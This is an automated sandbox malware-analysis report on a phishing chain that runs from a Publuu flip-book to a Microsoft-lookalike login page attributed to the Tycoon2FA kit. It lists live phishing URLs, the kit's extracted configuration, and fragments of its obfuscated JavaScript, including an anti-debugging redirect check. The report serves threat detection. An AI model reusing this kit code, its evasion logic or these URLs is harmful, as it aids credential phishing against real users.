Create Interactive Tour

Windows Analysis Report
https://publuu.com/flip-book/831678/1829815?utm_source=google%2C+newsletter%2C+facebook%2C+bing&utm_medium=paid-search&utm_campaign=summer_sale-product_launch_e5e6475977744726be143cf8cd129b6e_1742989231156&utm_term=running%2Bshoes%2C+blue%2Bdress&utm_content=school%2C+education%2C+cl

Overview

General Information

Sample URL:	https://publuu.com/flip-book/831678/1829815?utm_source=google%2C+newsletter%2C+facebook%2C+bing&utm_medium=paid-search&utm_campaign=summer_sale-product_launch_e5e6475977744726be143cf8cd129b6e_17
Analysis ID:	1649392
Infos:

Detection

HTMLPhisher, Invisible JS, Tycoon2FA

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

AI detected phishing page

Found malware configuration

Yara detected AntiDebug via timestamp check

Yara detected HtmlPhish10

Yara detected Invisible JS

Yara detected Obfuscation Via HangulCharacter

Yara detected Tycoon 2FA PaaS

AI detected suspicious Javascript

Creates files inside the system directory

Deletes files inside the Windows folder

Drops files with a non-matching file extension (content does not match file extension)

HTML body contains low number of good links

HTML body contains password input but no form action

HTML page contains hidden javascript code

HTML title does not match URL

Invalid T&C link found

Uses Javascript AES encryption / decryption (likely to hide suspicious Javascript code)

Classification

Process Tree

System is w10x64_ra

chrome.exe (PID: 2852 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 6560 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1996,i,13377214975040062881,18422252457615509330,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2096 /prefetch:3 MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 3588 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --no-pre-read-main-dll --field-trial-handle=1996,i,13377214975040062881,18422252457615509330,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=3192 /prefetch:8 MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 5908 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://publuu.com/flip-book/831678/1829815?utm_source=google%252C+newsletter%252C+facebook%252C+bing&utm_medium=paid-search&utm_campaign=summer_sale-product_launch_e5e6475977744726be143cf8cd129b6e_1742989231156&utm_term=running%252Bshoes%252C+blue%252Bdress&utm_content=school%252C+education%252C+classroom" MD5: E81F54E6C1129887AEA47E7D092680BF)

cleanup

Malware Configuration

Threatname: Tycoon2FA

{
  "otherweburl": "",
  "websitenames": "[\"godaddy\", \"okta\"]",
  "bes": "[\"Apple.com\",\"Netflix.com\"]",
  "pes": "[\"https:\\/\\/t.me\\/\",\"https:\\/\\/t.com\\/\",\"t.me\\/\",\"https:\\/\\/t.me.com\\/\",\"t.me.com\\/\",\"t.me@\",\"https:\\/\\/t.me@\",\"https:\\/\\/t.me\",\"https:\\/\\/t.com\",\"t.me\",\"https:\\/\\/t.me.com\",\"t.me.com\",\"t.me\\/@\",\"https:\\/\\/t.me\\/@\",\"https:\\/\\/t.me@\\/\",\"t.me@\\/\",\"https:\\/\\/www.telegram.me\\/\",\"https:\\/\\/www.telegram.me\"]",
  "capnum": "1",
  "appnum": "1",
  "pvn": "0",
  "view": "",
  "pagelinkval": "ZUqK",
  "emailcheck": "0",
  "webname": "rtrim(/web9/, '/')",
  "urlo": "/hdIvJ0YYve4ZL8Sg3uhCwZj5gmDPTyPshqxzzKqIIJoWAOPLPHhzyqI6f",
  "gdf": "/ghskDvq5bGhsz2yw8w3L7i2gUmIuvzMD4Bmo0P2KeHqcd120"
}

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
dropped/chromecache_166	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security

HTML

Source	Rule	Description	Author
4.28..script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
4.28..script.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
3.17.d.script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
3.17.d.script.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
3.22.d.script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
3.16.d.script.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
3.16.d.script.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
4.33.d.script.csv	JoeSecurity_Tycoon2FA	Yara detected Tycoon 2FA PaaS	Joe Security
4.29..script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
3.26.d.script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
3.23..script.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
4.36..script.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
3.4.pages.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
3.4.pages.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
4.12.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
4.12.pages.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
4.12.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
4.11.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
4.11.pages.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
4.11.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
3.9.pages.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
3.9.pages.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
Click to see the 17 entries

Joe Sandbox Signatures

• AV Detection
• Phishing
• Compliance
• Networking
• System Summary
• Persistence and Installation Behavior
• Malware Analysis System Evasion

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 4.33.d.script.csv

Malware Configuration Extractor: Tycoon2FA {"otherweburl": "", "websitenames": "[\"godaddy\", \"okta\"]", "bes": "[\"Apple.com\",\"Netflix.com\"]", "pes": "[\"https:\\/\\/t.me\\/\",\"https:\\/\\/t.com\\/\",\"t.me\\/\",\"https:\\/\\/t.me.com\\/\",\"t.me.com\\/\",\"t.me@\",\"https:\\/\\/t.me@\",\"https:\\/\\/t.me\",\"https:\\/\\/t.com\",\"t.me\",\"https:\\/\\/t.me.com\",\"t.me.com\",\"t.me\\/@\",\"https:\\/\\/t.me\\/@\",\"https:\\/\\/t.me@\\/\",\"t.me@\\/\",\"https:\\/\\/www.telegram.me\\/\",\"https:\\/\\/www.telegram.me\"]", "capnum": "1", "appnum": "1", "pvn": "0", "view": "", "pagelinkval": "ZUqK", "emailcheck": "0", "webname": "rtrim(/web9/, '/')", "urlo": "/hdIvJ0YYve4ZL8Sg3uhCwZj5gmDPTyPshqxzzKqIIJoWAOPLPHhzyqI6f", "gdf": "/ghskDvq5bGhsz2yw8w3L7i2gUmIuvzMD4Bmo0P2KeHqcd120"}

Phishing

AI detected phishing page

Source: https://ajtl2.clriwhkc.ru/dptgfgozigmrxoiujtsasrxD38D7DYW59SEF26N?QCLZUBDJHHZXIQMHUZNLXCWN

Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is well-known and typically associated with the domain 'microsoft.com'., The URL 'ajtl2.clriwhkc.ru' does not match the legitimate domain for Microsoft., The domain uses a '.ru' extension, which is unusual for Microsoft, a global company primarily using '.com'., The URL contains random characters and does not resemble any known Microsoft subdomains or services., The presence of input fields for 'Email, phone, or Skype' suggests an attempt to collect sensitive information, which is common in phishing sites. DOM: 4.11.pages.csv

Yara detected HtmlPhish10

Source: Yara match	File source: 4.12.pages.csv, type: HTML
Source: Yara match	File source: 4.11.pages.csv, type: HTML

Yara detected Invisible JS

Source: Yara match	File source: 3.16.d.script.csv, type: HTML
Source: Yara match	File source: 3.4.pages.csv, type: HTML
Source: Yara match	File source: 3.9.pages.csv, type: HTML

Yara detected Obfuscation Via HangulCharacter

Source: Yara match	File source: 3.16.d.script.csv, type: HTML
Source: Yara match	File source: 3.23..script.csv, type: HTML
Source: Yara match	File source: 4.36..script.csv, type: HTML
Source: Yara match	File source: 3.4.pages.csv, type: HTML
Source: Yara match	File source: 3.9.pages.csv, type: HTML
Source: Yara match	File source: dropped/chromecache_166, type: DROPPED

Yara detected Tycoon 2FA PaaS

Source: Yara match	File source: 4.33.d.script.csv, type: HTML
Source: Yara match	File source: 4.28..script.csv, type: HTML
Source: Yara match	File source: 3.17.d.script.csv, type: HTML
Source: Yara match	File source: 3.22.d.script.csv, type: HTML
Source: Yara match	File source: 4.29..script.csv, type: HTML
Source: Yara match	File source: 3.26.d.script.csv, type: HTML
Source: Yara match	File source: 4.12.pages.csv, type: HTML
Source: Yara match	File source: 4.11.pages.csv, type: HTML

AI detected suspicious Javascript

Source: 3.18..script.csv

Joe Sandbox AI: Detected suspicious JavaScript with source url: https://ajtl2.clriwhkc.ru/o6N2/... This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code/URLs. The script appears to be attempting to execute a malicious payload by decoding and evaluating a heavily encoded string. This behavior is highly suspicious and indicative of a potential phishing or malware attack.

Source: https://ajtl2.clriwhkc.ru/dptgfgozigmrxoiujtsasrxD38D7DYW59SEF26N?QCLZUBDJHHZXIQMHUZNLXCWN

HTTP Parser: Number of links: 0

Source: https://publuu.com/flip-book/831678/1829815?utm_source=google%252C+newsletter%252C+facebook%252C+bing&utm_medium=paid-search&utm_campaign=summer_sale-product_launch_e5e6475977744726be143cf8cd129b6e_1742989231156&utm_term=running%252Bshoes%252C+blue%252Bdress&utm_content=school%252C+education%252C+classroom	HTTP Parser: <input type="password" .../> found but no <form action="...
Source: https://publuu.com/flip-book/831678/1829815	HTTP Parser: <input type="password" .../> found but no <form action="...
Source: https://ajtl2.clriwhkc.ru/dptgfgozigmrxoiujtsasrxD38D7DYW59SEF26N?QCLZUBDJHHZXIQMHUZNLXCWN	HTTP Parser: <input type="password" .../> found but no <form action="...

Source: https://ajtl2.clriwhkc.ru/o6N2/

HTTP Parser: Base64 decoded: if (navigator.webdriver || window.callPhantom || window._phantom || navigator.userAgent.includes("Burp")) { window.location = "about:blank";}document.addEventListener("keydown", function (event) { function sEGEDaTfqG(event) { co...

Source: https://publuu.com/flip-book/831678/1829815?utm_source=google%252C+newsletter%252C+facebook%252C+bing&utm_medium=paid-search&utm_campaign=summer_sale-product_launch_e5e6475977744726be143cf8cd129b6e_1742989231156&utm_term=running%252Bshoes%252C+blue%252Bdress&utm_content=school%252C+education%252C+classroom	HTTP Parser: Title: Pay App March does not match URL
Source: https://publuu.com/flip-book/831678/1829815	HTTP Parser: Title: Pay App March does not match URL
Source: https://ajtl2.clriwhkc.ru/dptgfgozigmrxoiujtsasrxD38D7DYW59SEF26N?QCLZUBDJHHZXIQMHUZNLXCWN	HTTP Parser: Title: Login To Safeguard Account does not match URL

Source: https://ajtl2.clriwhkc.ru/dptgfgozigmrxoiujtsasrxD38D7DYW59SEF26N?QCLZUBDJHHZXIQMHUZNLXCWN	HTTP Parser: Invalid link: Terms of use
Source: https://ajtl2.clriwhkc.ru/dptgfgozigmrxoiujtsasrxD38D7DYW59SEF26N?QCLZUBDJHHZXIQMHUZNLXCWN	HTTP Parser: Invalid link: Privacy & cookies

Source: https://ajtl2.clriwhkc.ru/dptgfgozigmrxoiujtsasrxD38D7DYW59SEF26N?QCLZUBDJHHZXIQMHUZNLXCWN	HTTP Parser: var otherweburl = "";var websitenames = ["godaddy", "okta"];var bes = ["apple.com","netflix.com"];var pes = ["https:\/\/t.me\/","https:\/\/t.com\/","t.me\/","https:\/\/t.me.com\/","t.me.com\/","t.me@","https:\/\/t.me@","https:\/\/t.me","https:\/\/t.com","t.me","https:\/\/t.me.com","t.me.com","t.me\/@","https:\/\/t.me\/@","https:\/\/t.me@\/","t.me@\/","https:\/\/www.telegram.me\/","https:\/\/www.telegram.me"];var capnum = 1;var appnum = 1;var pvn = 0;var view = "";var pagelinkval = "zuqk";var emailcheck = "0";var webname = "rtrim(/web9/, '/')";var urlo = "/hdivj0yyve4zl8sg3uhcwzj5gmdptypshqxzzkqiijowaoplphhzyqi6f";var gdf = "/ghskdvq5bghsz2yw8w3l7i2gumiuvzmd4bmo0p2kehqcd120";var odf = "/ghhkyowvmkghjufqd4wgxtluruvfk0gepps4ab650";var twa = 0;var currentreq = null;var requestsent = false;var pagedata = "";var redirecturl = "";var useragent = navigator.useragent;var browsername;var userip;var usercountry;var errorcodeexecuted = false;if(useragent.match(/edg/i)){...
Source: https://ajtl2.clriwhkc.ru/o6N2/	HTTP Parser: function bsvgrinyow(){pwgajnathw = atob("pcfet0nuwvbfigh0bww+cjxodg1sigxhbmc9imvuij4kpghlywq+ciagpg1ldgegy2hhcnnldd0ivvrgltgipgogidxtzxrhig5hbwu9inzpzxdwb3j0iibjb250zw50psj3awr0ad1kzxzpy2utd2lkdggsigluaxrpywwtc2nhbgu9ms4wij4kica8dgl0bgu+vgvjacbtb2x1dglvbnmglsbjbm5vdmf0aw5nihrozsbgdxr1cmu8l3rpdgxlpgogidxzdhlszt4kicagigjvzhkgewogicagicbmb250lwzhbwlsetogqxjpywwsihnhbnmtc2vyawy7ciagicagigxpbmutagvpz2h0oiaxljy7ciagicagig1hcmdpbjogmdskicagicagcgfkzgluzzogmdskicagicagymfja2dyb3vuzc1jb2xvcjogi2y0zjrmndskicagicagy29sb3i6icmzmzm7ciagicb9ciagicbozwfkzxigewogicagicbiywnrz3jvdw5koiajmda1ytllowogicagicbjb2xvcjogi2zmzjskicagicagcgfkzgluzzogmjbwecawowogicagicb0zxh0lwfsawduoibjzw50zxi7ciagicb9ciagicbozwfkzxigadegewogicagicbtyxjnaw46ida7ciagicagigzvbnqtc2l6ztogmi41cmvtowogicagfqogicagbmf2ihskicagicagymfja2dyb3vuzdogizmzmzskicagicagy29sb3i6icnmzmy7ciagicagihbhzgrpbmc6idewchg7ciagicagihrlehqtywxpz246ignlbnrlcjskicagih0kicagig5hdibhihskicagicagy29sb3i6icnmzmy7ciagicagihrlehqtzgvjb3jhdglvbjogbm9uztskicagicagbwfyz2luoiawide1chg7c...

Source: https://publuu.com/flip-book/831678/1829815?utm_source=google%252C+newsletter%252C+facebook%252C+bing&utm_medium=paid-search&utm_campaign=summer_sale-product_launch_e5e6475977744726be143cf8cd129b6e_1742989231156&utm_term=running%252Bshoes%252C+blue%252Bdress&utm_content=school%252C+education%252C+classroom	HTTP Parser: <input type="password" .../> found
Source: https://publuu.com/flip-book/831678/1829815	HTTP Parser: <input type="password" .../> found
Source: https://ajtl2.clriwhkc.ru/dptgfgozigmrxoiujtsasrxD38D7DYW59SEF26N?QCLZUBDJHHZXIQMHUZNLXCWN	HTTP Parser: <input type="password" .../> found

Source: https://joyeriaangeles.com.mx/edu/redirect.html	HTTP Parser: No favicon
Source: https://ajtl2.clriwhkc.ru/o6N2/	HTTP Parser: No favicon
Source: https://ajtl2.clriwhkc.ru/dptgfgozigmrxoiujtsasrxD38D7DYW59SEF26N?QCLZUBDJHHZXIQMHUZNLXCWN	HTTP Parser: No favicon
Source: file:///C:/Users/user/Downloads/Draw%23Pay%20App%20March%20Important%20Communication.pdf	HTTP Parser: No favicon
Source: file:///C:/Users/user/Downloads/Draw%23Pay%20App%20March%20Important%20Communication.pdf	HTTP Parser: No favicon

Source: https://publuu.com/flip-book/831678/1829815?utm_source=google%252C+newsletter%252C+facebook%252C+bing&utm_medium=paid-search&utm_campaign=summer_sale-product_launch_e5e6475977744726be143cf8cd129b6e_1742989231156&utm_term=running%252Bshoes%252C+blue%252Bdress&utm_content=school%252C+education%252C+classroom	HTTP Parser: No <meta name="author".. found
Source: https://publuu.com/flip-book/831678/1829815	HTTP Parser: No <meta name="author".. found
Source: https://publuu.com/flip-book/831678/1829815	HTTP Parser: No <meta name="author".. found
Source: https://publuu.com/flip-book/831678/1829815	HTTP Parser: No <meta name="author".. found
Source: https://ajtl2.clriwhkc.ru/dptgfgozigmrxoiujtsasrxD38D7DYW59SEF26N?QCLZUBDJHHZXIQMHUZNLXCWN	HTTP Parser: No <meta name="author".. found

Source: https://publuu.com/flip-book/831678/1829815?utm_source=google%252C+newsletter%252C+facebook%252C+bing&utm_medium=paid-search&utm_campaign=summer_sale-product_launch_e5e6475977744726be143cf8cd129b6e_1742989231156&utm_term=running%252Bshoes%252C+blue%252Bdress&utm_content=school%252C+education%252C+classroom	HTTP Parser: No <meta name="copyright".. found
Source: https://publuu.com/flip-book/831678/1829815	HTTP Parser: No <meta name="copyright".. found
Source: https://publuu.com/flip-book/831678/1829815	HTTP Parser: No <meta name="copyright".. found
Source: https://publuu.com/flip-book/831678/1829815	HTTP Parser: No <meta name="copyright".. found
Source: https://ajtl2.clriwhkc.ru/dptgfgozigmrxoiujtsasrxD38D7DYW59SEF26N?QCLZUBDJHHZXIQMHUZNLXCWN	HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 3.23.240.185:443 -> 192.168.2.17:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.23.240.185:443 -> 192.168.2.17:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.238.50.105:443 -> 192.168.2.17:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.238.50.105:443 -> 192.168.2.17:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.238.50.105:443 -> 192.168.2.17:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.238.50.105:443 -> 192.168.2.17:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.238.50.105:443 -> 192.168.2.17:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.238.50.105:443 -> 192.168.2.17:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.238.79.104:443 -> 192.168.2.17:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.238.50.105:443 -> 192.168.2.17:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.238.50.105:443 -> 192.168.2.17:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.238.50.65:443 -> 192.168.2.17:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.64.68:443 -> 192.168.2.17:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.225.66.78:443 -> 192.168.2.17:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.225.66.78:443 -> 192.168.2.17:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.225.66.78:443 -> 192.168.2.17:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.225.66.78:443 -> 192.168.2.17:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.189.162.129:443 -> 192.168.2.17:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.189.162.129:443 -> 192.168.2.17:49768 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 69.197.152.28:443 -> 192.168.2.17:49774 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 69.197.152.28:443 -> 192.168.2.17:49773 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.214.162:443 -> 192.168.2.17:49777 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.214.162:443 -> 192.168.2.17:49776 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.130.137:443 -> 192.168.2.17:49779 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.95.41:443 -> 192.168.2.17:49780 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.24.14:443 -> 192.168.2.17:49781 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.2.189:443 -> 192.168.2.17:49783 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.5.189:443 -> 192.168.2.17:49785 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.95.41:443 -> 192.168.2.17:49787 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.95.41:443 -> 192.168.2.17:49790 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.41:443 -> 192.168.2.17:49798 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.29.234:443 -> 192.168.2.17:49822 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.29.234:443 -> 192.168.2.17:49833 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.45.130:443 -> 192.168.2.17:49849 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.17:49860 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.114.3:443 -> 192.168.2.17:49887 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.124.11:443 -> 192.168.2.17:49889 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.124.11:443 -> 192.168.2.17:49890 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.124.11:443 -> 192.168.2.17:49891 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.17:49896 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.124.91:443 -> 192.168.2.17:49897 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.41:443 -> 192.168.2.17:50002 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.131.198:443 -> 192.168.2.17:50106 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.131.198:443 -> 192.168.2.17:50107 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.17.199.31:443 -> 192.168.2.17:50108 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.17.199.31:443 -> 192.168.2.17:50109 version: TLS 1.2

Source: unknown	TCP traffic detected without corresponding DNS query: 51.132.193.104
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 52.109.28.46
Source: unknown	TCP traffic detected without corresponding DNS query: 51.132.193.104
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 52.109.28.46
Source: unknown	TCP traffic detected without corresponding DNS query: 51.132.193.104
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 52.109.28.46
Source: unknown	TCP traffic detected without corresponding DNS query: 52.123.128.14
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 52.123.128.14
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 51.132.193.104
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 52.109.28.46
Source: unknown	TCP traffic detected without corresponding DNS query: 52.123.128.14
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 52.123.128.14
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 51.132.193.104
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 52.109.28.46
Source: unknown	TCP traffic detected without corresponding DNS query: 52.123.128.14
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 51.132.193.104
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 52.109.28.46
Source: unknown	TCP traffic detected without corresponding DNS query: 52.123.128.14
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.41
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.41
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.41
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.41
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.41
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.41
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.41
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.41
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.41
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.41
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.41
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.41
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.41
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.41
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.41
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.41
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.41
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.41
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.41
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.41

Source: global traffic	HTTP traffic detected: GET /flip-book/831678/1829815?utm_source=google%252C+newsletter%252C+facebook%252C+bing&utm_medium=paid-search&utm_campaign=summer_sale-product_launch_e5e6475977744726be143cf8cd129b6e_1742989231156&utm_term=running%252Bshoes%252C+blue%252Bdress&utm_content=school%252C+education%252C+classroom HTTP/1.1Host: publuu.comConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /flipbook/202503/02/assets/scripts/APP.js?v=1748 HTTP/1.1Host: dkl18tmi4r0t8.cloudfront.netConnection: keep-aliveOrigin: https://publuu.comsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://publuu.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /flipbook/202503/02/assets/css/loader.css?v=1748 HTTP/1.1Host: dkl18tmi4r0t8.cloudfront.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleSec-Fetch-Storage-Access: activeReferer: https://publuu.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /flipbook/202503/02/assets/scripts/VideoEmbed.js?v=1748 HTTP/1.1Host: dkl18tmi4r0t8.cloudfront.netConnection: keep-aliveOrigin: https://publuu.comsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://publuu.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
